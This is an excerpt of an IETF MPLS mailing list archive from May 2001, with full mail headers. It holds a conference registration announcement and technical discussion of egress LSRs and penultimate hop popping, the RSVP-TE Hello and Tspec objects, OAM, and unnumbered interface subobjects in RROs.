	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 09:35:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcs19784;
	Tue, 22 May 2001 13:33:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcs26213
	for mpls-outgoing; Tue, 22 May 2001 13:32:48 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqcs26199
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 13:32:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqcs06929
	for <mpls@UU.NET>; Tue, 22 May 2001 13:32:04 GMT
Received: from mason2.gmu.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mason2.gmu.edu [129.174.1.11])
	id QQkqcs06471
	for <mpls@UU.NET>; Tue, 22 May 2001 13:32:04 GMT
Received: from localhost (rpapneja@localhost)
	by mason2.gmu.edu (8.8.8/8.8.8) with ESMTP id JAA19386;
	Tue, 22 May 2001 09:32:03 -0400 (EDT)
Date: Tue, 22 May 2001 09:32:03 -0400 (EDT)
From: Rajiv Papneja <rpapneja@osf1.gmu.edu>
X-Sender: rpapneja@mason2.gmu.edu
To: mpls@UU.NET, MPLS@gmu.edu
Subject: MPL2001 International Conference Registration-Oct.7-9, Washington
 D.C
Message-ID: <Pine.OSF.4.21.0105220917100.16244-100000@mason2.gmu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

 
                                MPLS 2001
              4th Annual International Conference on MPLS
                             October 7-9, 2001

		     Omni Shoreham Hotel, Washington, D.C.
			     Hosted jointly by

                         UUNET Technologies/Worldcom 
                         Advanced Internet Laboratory 

   MPLS 2001, the fourth in the series of International Annual
Conference on Multiprotocol Label Switching is jointly hosted by UUNET and
AIL.   Due to many requests we have received for registering for MPLS 2001, 
we are delighted to inform you that we have opened registration for the
event. Please visit www.mpls2001.com and click on the "Registration" button.
 
   The designated hotel for MPLS2001 is the Omni Shoreham Hotel,
Washington D.C.  We have a limited number of rooms blocked at a special
rate and urge you to make your reservations immediately. You may visit our
website for more information and click on "Hotels and Travel" button. 
 
   Thanks to our conference sponsors and other efforts of volunteers, we
have tried to keep the registration cost to a nominal fee. The early
registation fees are extremely attractive and we hope you can benefit from
the opportunity and pre-register for MPLS2001 soon.

   The technical program for MPLS 2001 is not available yet but like
previous years it will be balanced with highly original technical
content. There are four excellent tutorials to begin the program. The
exhibitors will also be showcasing their latest MPLS-enabled and
optical products in the Exhibit hall. We have also planned for two public
interoperability events following the conference, October 10-12.        

   For additional information, please visit http://www.MPLS2001.com, the
official website for MPLS 2001 International Conference.

   Looking forward to seeing you at MPLS 2001, Washington D.C  

   Regards,
    -Rajiv 
     
********************************
Rajiv Papneja 
Advanced Internet Laboratory
George Mason University,
G10, Johnson Center,
Fairfax, VA 22030-4444
email: rpapneja@osf1.gmu.edu
********************************





From owner-mpls@UU.NET  Tue May 22 09:41:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17891
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 09:41:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcs23185;
	Tue, 22 May 2001 13:37:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcs26800
	for mpls-outgoing; Tue, 22 May 2001 13:36:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqcs26720
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 13:36:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcs06194
	for <mpls@UU.NET>; Tue, 22 May 2001 13:35:57 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqcs22599
	for <mpls@UU.NET>; Tue, 22 May 2001 13:35:57 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id DEB6E94009; Tue, 22 May 2001 09:35:51 -0400 (EDT)
Message-ID: <3B0A6B37.DD528A2C@sandburst.com>
Date: Tue, 22 May 2001 09:35:51 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mgoel@hss.hns.com
Cc: Asish Thomas Punnoose <asish.punnoose@wipro.com>, mpls@UU.NET
Subject: Re: Doubt about Egress Label Edge Router
References: <65256A54.002A1804.00@sandesh.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Mohit is correct, though the definition of 'egress' in RFC 3031
may be hard to understand.

One way to look at the term egress (in an MPLS LSP context)
is from a signaling/control aspect.  The egress for an LSP is the
device/box/system that 'decides' that an LSP is to be terminated
by popping the label.  The actual pop that takes place can happen
at the penultimate hop or it can happen at the 'egress' LSR.

If the 'egress' LSR signals the penultimate hop (using the implicit
NULL label, for instance) that PHP should be used, it remains
the LSP 'egress' because it is in control of the pop operation.  If
it subsequently withdraws the implicit NULL label, for example,
and distributes a distinct label for the same FEC then PHP will no
longer occur at its upstream peer - whether or not the LSR itself
remains the 'egress' for the LSP.

For hop-by-hop routed LSPs, if the penultimate hop detects a
change in next hop to a non-MPLS signaling peer (there is no
requirement that an MPLS signaling peer be capable of label
switching), then the penultimate hop now 'decides' that the
LSP must terminate and it becomes the egress for the LSP.  It
may elect to signal to its upstream peer(s) at this point to cause
PHP to occur WRT this LSP.

In part, section 4.1.4 explains why an LSR might 'decide' that an
LSP is to be terminated.


Mohit wrote:

> Hi Ashish ,
>
> Pls see the comments in line:
>
> >>LSRs along the LSP swap the label on the top of the label stack and forward
> >>the packet and Egress LER pops the label and then forwards the packed. can
> >>any other LSR pop out the label?
>
> yes if penultimate hop popping is enabled then penultimate hop of an LSP pops
> the label.
>
> >> What is the Definition of Egress LER?
>
> Pls refer section 4.1.4 of RFC 3031, which gives the definition of egress LSR.
>
> >>If an LSR who can POP the label, is a Egress router?
>
> In the case of penultimate hop popping, the penultimate hop pops the label, but
> it is actually not an egress router but a proxy egress router.
>
> Regards
> Mohit



From owner-mpls@UU.NET  Tue May 22 10:57:40 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21188
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 10:57:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcx22913;
	Tue, 22 May 2001 14:55:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcx26036
	for mpls-outgoing; Tue, 22 May 2001 14:55:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqcx26016
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 14:54:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcx03544
	for <mpls@UU.NET>; Tue, 22 May 2001 14:53:37 GMT
Received: from dnsmx1rrc.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQkqcx21799
	for <mpls@UU.NET>; Tue, 22 May 2001 14:53:36 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id KAA03215;
	Tue, 22 May 2001 10:46:04 -0400 (EDT)
Subject: Re: RSVP hello extension
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Tue, 22 May 2001 10:46:16 -0400
Message-ID: <OFEAA413C5.B8076F05-ON85256A54.0050D470@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/22/2001 10:46:17 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk




>>As far as I can tell, this "unknown object class" response should never
>>happen.

Then I suggest to drop this confusing clause from the spec if it is
possible.

Julia





David Charlap <david.charlap@marconi.com> on 05/21/2001 07:30:52 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP hello extension



> On RSVP -lsp-tunnel-08, section 5.5, I think the clause  "or will
> response with an "Unknown Object Class" will be dropped,
> but it is still there in the latest draft, then I still have
> following questions.

As far as I can tell, this "unknown object class" response should never
happen.  HELLO objects are only specified within the context of Hello
messages.  If a router understands Hello messages, then it will also
understand the HELLO object.  If it does not understand Hello messages,
it will silently drop the message - as RSVP routers are supposed to do
for all unknown messages.

The only time I can imagine a router sending back this message would be
if a HELLO object was included in a Path or Resv message.  But this
shouldn't happen, because the draft has never specified theis behavior.

I suppose you could come up with a contrived case where a router
understood Hello messages but not HELLO objects.  In which case, sending
back an error message would make sense.  But as you have already pointed
out, there is no such thing as a HelloErr message to carry the error
in.  You can't use PathErr or ResvErr, because you don't have any of the
other required objects (like SESSION, SENDER_TEMPLATE or FILTER_SPEC.)
So even then, the only possible choice is to silently drop the Hello
message.

> so my questions, is this error message put in PathErr message?
> Since there is no individual error message for Hello message.

A router that doesn't understand Hello objects, and receives one in a
Path or Resv message (from a broken router, obviously) will respond with
PathErr or ResvErr as appropriate.

I can't think of any other situation where it would make sense to
generate such an error.  Neither can I think of a sitation where it
would be possible to send back a well-formed error message, even if you
wanted to.

Hence the reason why this possible response will be dropped from the
spec.  There isn't any situation, (other than the contrived case of a
router illegally putting a HELLO object into a Path or Resv message),
where it would even be possible to generate the error message.

-- David






From owner-mpls@UU.NET  Tue May 22 11:11:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA21868
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 11:11:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcy17640;
	Tue, 22 May 2001 15:09:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcy08111
	for mpls-outgoing; Tue, 22 May 2001 15:08:27 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqcy08097
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 15:08:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcy14418
	for <mpls@UU.NET>; Tue, 22 May 2001 15:07:09 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkqcy27093
	for <mpls@UU.NET>; Tue, 22 May 2001 15:07:08 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id KAA16941
	for <mpls@UU.NET>; Tue, 22 May 2001 10:51:29 -0400 (EDT)
Subject: RSVP-TE Tspec and Flowspec object for Class-of-Service service
To: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Tue, 22 May 2001 10:51:40 -0400
Message-ID: <OFB64AD22C.EE4D5886-ON85256A54.005124FE@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/22/2001 10:51:41 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I found the new draft of RSVP-TE 08.txt, there is no more section 4.8 -----
Tspec and Flowspec object for class -of-service service.

I was wondering whether it has been taken out of the new draft or not,
since it was in the old draft rsvp-te 07.txt.
Can anyone tell me if it should be there or no more?

Thanks in an advance.

Julia




From owner-mpls@UU.NET  Tue May 22 11:15:43 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA22020
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 11:15:42 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcy09486;
	Tue, 22 May 2001 15:13:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcy16598
	for mpls-outgoing; Tue, 22 May 2001 15:12:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqcy16075
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 15:12:28 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqcy24282
	for <mpls@UU.NET>; Tue, 22 May 2001 15:10:43 GMT
From: neil.2.harrison@bt.com
Received: from gandalf.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gandalf.axion.bt.co.uk [132.146.17.29])
	id QQkqcy07507
	for <mpls@UU.NET>; Tue, 22 May 2001 15:10:43 GMT
Received: from cryndent01.mww.bt.com by gandalf (local) with ESMTP;
          Tue, 22 May 2001 16:09:14 +0100
Received: by cryndent01.mww.bt.com with Internet Mail Service (5.5.2652.35) 
          id <L2153G36>; Tue, 22 May 2001 16:09:05 +0100
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E891300@mbddmknt01.hc.bt.com>
To: rstreijl@telcordia.com, sharam_davari@pmc-sierra.com
Cc: mpls@UU.NET
Subject: RE: LMP CV and MPLS OAM CV
Date: Tue, 22 May 2001 16:09:12 +0100
X-Mailer: Internet Mail Service (5.5.2652.35)
MIME-version: 1.0
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Robert, you asked (I have snipped the bottom off the mail)on 22 May 2001
13:57
> 
> Neil: Thanks very much for this answer. It is is perfectly clear.
> I knew there had to be a difference, and some of it was clear 
> to me, but
> not all of it.
> So, do you expect there will be more investigation on OAM in 
> GMPLS in each
> of the specific media used (besides G.709)?
> 
NH=> To be perfectly honest I have not given a great deal of thought to this
since its not that high on our priority stack.  Maybe also be true for many
of the other operators(?), but I have seen very little input from most of
the large ones (on any of the GMPLS stuff).

SDH/Sonet and PDH have been around long-enough to have stable and well
defined OAM of the user-plane.  However, if a control-plane is introduced
then some coupling of user-plane OAM span and S-PVC-like span seems
essential, eg to trigger prot-sw.  Ditto for the OTN, though here there is
some notion of several levels of nested TCM (Tanden Connection Monitoring)
also incorporated in G.709.....Maarten Vissers is the expert to talk to here
for more info.
Note - We are not so interested in SVCs at this stage....seems hard to build
a viable business case for a 'Gbit/s PSTN look-alike' in our opinion with
unknown GoS/pricing/'erlang' model.

ATM has some OAM.....but its far from ideal and we still cannot properly
define/measure availability in this fabric (I tried to address these
weaknesses in the MPLS OAM work, and those familar with ATM OAM may realise
what the issues are, but its complex and long-winded to explain on mail).

regards, Neil 


From owner-mpls@UU.NET  Tue May 22 11:25:30 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA22354
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 11:25:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcz27716;
	Tue, 22 May 2001 15:23:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcz18727
	for mpls-outgoing; Tue, 22 May 2001 15:22:31 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqcz18703
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 15:22:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqcz26894
	for <mpls@UU.NET>; Tue, 22 May 2001 15:21:12 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqcz26454
	for <mpls@UU.NET>; Tue, 22 May 2001 15:21:11 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id A515D94009; Tue, 22 May 2001 11:21:06 -0400 (EDT)
Message-ID: <3B0A83E2.6C25CC08@sandburst.com>
Date: Tue, 22 May 2001 11:21:06 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Hong Liao <hliao@telcordia.com>
Cc: mpls@UU.NET
Subject: Re: RSVP-TE Tspec and Flowspec object for Class-of-Service service
References: <OFB64AD22C.EE4D5886-ON85256A54.005124FE@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Julia,

    It was removed by request of the IESG since this object is
redundant in comparison with a similar object defined elsewhere.
Check the E-Mail archive for George's mail on changes for this
version.

--
Eric Gray

You wrote:

> Hi,
>
> I found the new draft of RSVP-TE 08.txt, there is no more section 4.8 -----
> Tspec and Flowspec object for class -of-service service.
>
> I was wondering whether it has been taken out of the new draft or not,
> since it was in the old draft rsvp-te 07.txt.
> Can anyone tell me if it should be there or no more?
>
> Thanks in an advance.
>
> Julia



From owner-mpls@UU.NET  Tue May 22 11:33:30 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA22681
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 11:33:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqda03154;
	Tue, 22 May 2001 15:30:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkqda19326
	for mpls-outgoing; Tue, 22 May 2001 15:30:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqda19321
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 15:30:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqcz17697
	for <mpls@uu.net>; Tue, 22 May 2001 15:28:55 GMT
Received: from fsnt.future.futsoft.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkqcz21247
	for <mpls@uu.net>; Tue, 22 May 2001 15:28:53 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000167641@fsnt.future.futsoft.com>;
 Tue, 22 May 2001 20:57:52 +0530
Received: from future.futsoft.com (arumugamr.future.futsoft.com [10.20.6.33])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with ESMTP id f4MFKxu28785;
	Tue, 22 May 2001 20:50:59 +0530
Message-Id: <3B0A85AD.4D6A3AD9@future.futsoft.com>
Date: Tue, 22 May 2001 20:58:45 +0530
From: Arumugam R <arumugamr@future.futsoft.com>
Organization: FSL
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Nic Larkin <NPL@dataconnection.com>
Cc: Juniper - Kireeti Kompella <kireeti@juniper.net>, yakov@juniper.net,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Unnumbered interface IDs in RROs
References: <37701240971DD31193970000F6CCB9F7019F6D73@duke.datcon.co.uk>
Content-Type: multipart/mixed;
 boundary="------------AB1EB5DB70CF62AADA5EF8CA"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------AB1EB5DB70CF62AADA5EF8CA
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Nic,

I too agree the same. If the authors propose an extension to the new subobject
in the way you are proposing it is welcome, if they don't we can proceed with
the assumption.

As far as our implementation is concerned we always use the Router ID in the RRO
subobject, so updating to this new feature is no big deal, even though the draft
specifies it can be anyone of the outgoing interface address.

Considering the route pinning case, as previously discussed in the mailing list
the RRO contents cannot be straight forwardly used as ERO's since the RRO can
contain some other subobjects too. Since it has to be tailored manually
reusability without tailoring is again a question.

By the way "pinning" you mean "Strict ErHops" since route pinning in case of
loose ErHops is not supported in RSVP (only in CR-LDP) since there is no flag
mentioning the feature in any of the RSVP-TE objects.

Regards
Arumugam

Nic Larkin wrote:

> Hi Arumugam,
>
> Thanks for your response.  I agree that the solution you propose would do
> the job of carrying the 32 bit Router ID in an RRO.  However, I think the
> one I propose below, namely to use the same format in the RRO as in the ERO,
> works better.
>
> - It is useful and convenient for the format of RRO subobjects to be the
> same as ERO subobjects.
>   - This applies especially to RSVP LSP pinning, where it should be
> straightforward for the ingress to "re-use" the RRO as a pinned ERO.
>   - In general, it will help implementations if they can represent hop
> information in a consistent way.
>
> - The approach of using the existing IPv4 RRO subobject unnecessarily
> overloads its meaning.  The IPv4 RRO subobject is currently defined to carry
>   - an IPv4 address, not a Router ID
>   - the address of a specific outgoing interface, not the address of an LSR.
>
> Therefore it seems simpler and easier to
> - model the unnumbered interface RRO subobject on the ERO subobject
> - insert this subobject into the RRO in place of the numbered interface
> address subobject.
>
> Any support for this proposal?
>
> Regards,
> Nic.
>
> -----Original Message-----
> From: Arumugam R [mailto:arumugamr@future.futsoft.com]
> Sent: Tuesday, May 22, 2001 7:12 AM
> To: Nic Larkin
> Cc: Juniper - Kireeti Kompella; yakov@juniper.net; 'mpls@uu.net'
> Subject: Re: Unnumbered interface IDs in RROs
>
> Hi Nic,
>
> I think the Router ID field is unnecessary in the newly defined RRO
> subobject
> for unnumbered interface. If you consider the processing of the new
> subobject
> in lines with that of the label subobject mentioned in rsvp-lsp-tunnel-08
> draft
> the operation will be quite clear.
>
> i.e. always the new subobject(Type 4) should be accompanied with the
> subobject
> 1 ( IPv4 Address Type 1), which states that always the address added to the
> IPv4 subobject should be the Router ID.  Then the need for having an extra
> field of "Router ID" is also resolved. I feel that a statement " mandatorily
> the unnumbered interface ID subobject (Type 4) has to accompany IPv4
> subobject
> (Type 1)" will solve the purpose in the draft mpls-rsvp-unnum-01.
>
> Regards
> Arumugam R
>
> Nic Larkin wrote:
>
> > Hi Kireeti, Yakov,
> >
> > Can you help me with a query about draft-ietf-mpls-rsvp-unnum-01?
> >
> > Section 7 defines the unnumbered interface subobject of the Record Route
> > Object.  This subobject has an "Interface ID" field to identify the
> > unnumbered link.
> >
> > My question is: should there also be a "Router ID" field in the definition
> > of the Record Route subobject, as per the ERO subobject in section 6?
> This
> > would be used to identify which LSR the unnumbered interface belongs to,
> > e.g. allowing the ingress to construct a strict ERO when doing LSP
> Pinning.
> >
> > Thanks and regards,
> > Nic.
> >
> > Nic Larkin
> > Network Convergence Group
> > Data Connection Ltd
> > Tel:   +44 20 8366 1177           Fax:   +44 20 8363 1533
> > Email: npl@dataconnection.com     Web:   http://www.dataconnection.com

--------------AB1EB5DB70CF62AADA5EF8CA
Content-Type: text/x-vcard; charset=us-ascii;
 name="arumugamr.vcf"
Content-Description: Card for Arumugam R
Content-Disposition: attachment;
 filename="arumugamr.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Ramasamy;Arumugam
tel;home:6223683
tel;work:4330550 Extn- 363
x-mozilla-html:FALSE
url:www.futsoft.com
org:Future Software;Products
version:2.1
email;internet:arumugamr@future.futsoft.com
title:Senior Software Engineer
adr;quoted-printable:;;480 Mount Road,=0D=0ANandanam,=0D=0A;Chennai;Tamil Nadu;600 035;India
fn:Aru
end:vcard

--------------AB1EB5DB70CF62AADA5EF8CA--



From owner-mpls@UU.NET  Tue May 22 12:09:21 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA23929
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 12:09:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqdc19366;
	Tue, 22 May 2001 16:07:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkqdc03638
	for mpls-outgoing; Tue, 22 May 2001 16:06:30 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqdc03514
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 16:06:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqdc02411
	for <mpls@UU.NET>; Tue, 22 May 2001 16:03:24 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkqdc20353
	for <mpls@UU.NET>; Tue, 22 May 2001 16:03:24 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id LAA03270;
	Tue, 22 May 2001 11:50:22 -0400 (EDT)
Subject: Re: RSVP-TE Tspec and Flowspec object for Class-of-Service service
To: Eric Gray <eric.gray@sandburst.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Tue, 22 May 2001 11:50:34 -0400
Message-ID: <OF4CFD1880.55EF69D9-ON85256A54.00570000@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/22/2001 11:50:35 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Thanks,

Julia




Eric Gray <eric.gray@sandburst.com> on 05/22/2001 11:21:06 AM

To:   Hong Liao <hliao@telcordia.com>
cc:   mpls@UU.NET (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP-TE Tspec and Flowspec object for Class-of-Service
      service



Julia,

    It was removed by request of the IESG since this object is
redundant in comparison with a similar object defined elsewhere.
Check the E-Mail archive for George's mail on changes for this
version.

--
Eric Gray

You wrote:

> Hi,
>
> I found the new draft of RSVP-TE 08.txt, there is no more section 4.8
-----
> Tspec and Flowspec object for class -of-service service.
>
> I was wondering whether it has been taken out of the new draft or not,
> since it was in the old draft rsvp-te 07.txt.
> Can anyone tell me if it should be there or no more?
>
> Thanks in an advance.
>
> Julia







From owner-mpls@UU.NET  Tue May 22 18:37:31 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA06138
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 18:37:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqec05833;
	Tue, 22 May 2001 22:35:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkqec20773
	for mpls-outgoing; Tue, 22 May 2001 22:34:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqec20756
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 22:34:35 GMT
